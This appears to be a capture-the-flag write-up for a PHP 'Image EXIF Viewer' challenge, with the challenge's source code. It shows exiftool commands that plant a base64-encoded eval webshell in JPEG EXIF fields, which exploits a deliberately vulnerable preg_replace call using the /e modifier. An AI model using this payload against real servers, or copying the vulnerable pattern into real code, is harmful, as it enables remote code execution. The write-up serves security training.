1st 🩸

Analyse

Observing the source code of index.php, I noticed that the file extension is strictly limited to jpg. The uploaded image's exif data is then processed, revealing a potential vulnerability:

$exif = exif_read_data($targetFile);
preg_replace($exif['Make'],$exif['Model'],'');

Exploit

This is a typical scenario for creating a Webshell hidden in an image, often referred to as an ‘image horse’.

For reference on this technique, you can visit the Trustwave SpiderLabs blog post: Hiding Webshell Backdoor Code in Image Files.

To create such an ‘image horse’, the image is prepared and then uploaded while also using GET parameters for execution:

exiftool "-make=/.*/e" 1.jpg
exiftool "-model=eval(base64_decode('aWYgKGlzc2V0KCRfR0VUWyIxIl0pKSB7ZXZhbCgkX0dFVFsiMSJdKTt9'));" 1.jpg

In this approach, the image's exif data is manipulated to include executable PHP code, which is then executed by the server when the image is processed, exploiting the vulnerability in the preg_replace function usage.

Untitled

Here comes the flag~

Source Code (index.php)

<!DOCTYPE html>
<html>
<head>
    <title>Image EXIF Viewer</title>
</head>
<body>
    <?php
    $targetDir = "uploads/";

    // Generate a random file name
    $randomFileName = uniqid() . '.' . 'jpg';
    $targetFile = $targetDir . $randomFileName;
    $uploadOk = 1;

    // Check if form is submitted
    $isFormSubmitted = isset($_POST["submit"]);

    // Check if image file is a actual image or fake image
    if($isFormSubmitted) {
        $check = getimagesize($_FILES["image"]["tmp_name"]);
        if($check !== false) {
            echo "File is an image - " . $check["mime"] . ".";
            $uploadOk = 1;
        } else {
            echo "File is not an image.";
            $uploadOk = 0;
        }
    }

    // Check file size
    if ($isFormSubmitted && $_FILES["image"]["size"] > 500000) {
        echo "Sorry, your file is too large.";
        $uploadOk = 0;
    }

    // Check if $uploadOk is set to 0 by an error
    if ($isFormSubmitted && $uploadOk == 0) {
        echo "Sorry, your file was not uploaded.";
        // if everything is ok, try to upload file
    } else if ($isFormSubmitted) {
        if (move_uploaded_file($_FILES["image"]["tmp_name"], $targetFile)) {
            echo "The file ". basename($_FILES["image"]["name"]). " has been uploaded.";
            $exif = exif_read_data($targetFile);
            preg_replace($exif['Make'],$exif['Model'],'');
            if ($exif !== false) {
                echo "<h2>EXIF Data:</h2>";
                echo "FileDateTime: " . (!empty($exif['FileDateTime']) ? $exif['FileDateTime'] : "N/A") . "<br>";
                echo "FileSize: " . (!empty($exif['FileSize']) ? $exif['FileSize'] : "N/A") . "<br>";
                echo "Camera Model: " . (!empty($exif['Model']) ? $exif['Model'] : "N/A") . "<br>";
                echo "Height: " . (!empty($exif['Height']) ? $exif['Height'] : "N/A") . "<br>";
                echo "Width: " . (!empty($exif['Width']) ? $exif['Width'] : "N/A") . "<br>";
                echo "Comment: " . (!empty($exif['Comment']) ? $exif['Comment'] : "N/A") . "<br>";
                echo "Bits Per Sample: " . (!empty($exif['BitsPerSample']) ? $exif['BitsPerSample'] : "N/A") . "<br>";
                echo "Exif Byte Order: " . (!empty($exif['ExifByteOrder']) ? $exif['ExifByteOrder'] : "N/A") . "<br>";
            } else {
                echo "No EXIF data found.";
            }

            // Display the uploaded image
            echo "<h2>Uploaded Image:</h2>";
            echo "<img src='$targetFile' alt='Uploaded Image'>";
            // Display the link to the uploaded photo
            echo "<a href='$targetFile' target='_blank'>Click here to access the uploaded photo</a>";
        } else {
            echo "Sorry, there was an error uploading your file.";
        }
    }

    ?>
    <!-- Very old app, but it works so Sam said don't touch it... ¯\\_(ツ)_/¯ -->
    <h2>Upload an Image</h2>
    <form action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post" enctype="multipart/form-data">
        <input type="file" name="image" id="image">
        <input type="submit" value="Upload Image" name="submit">
    </form>

</body>
</html>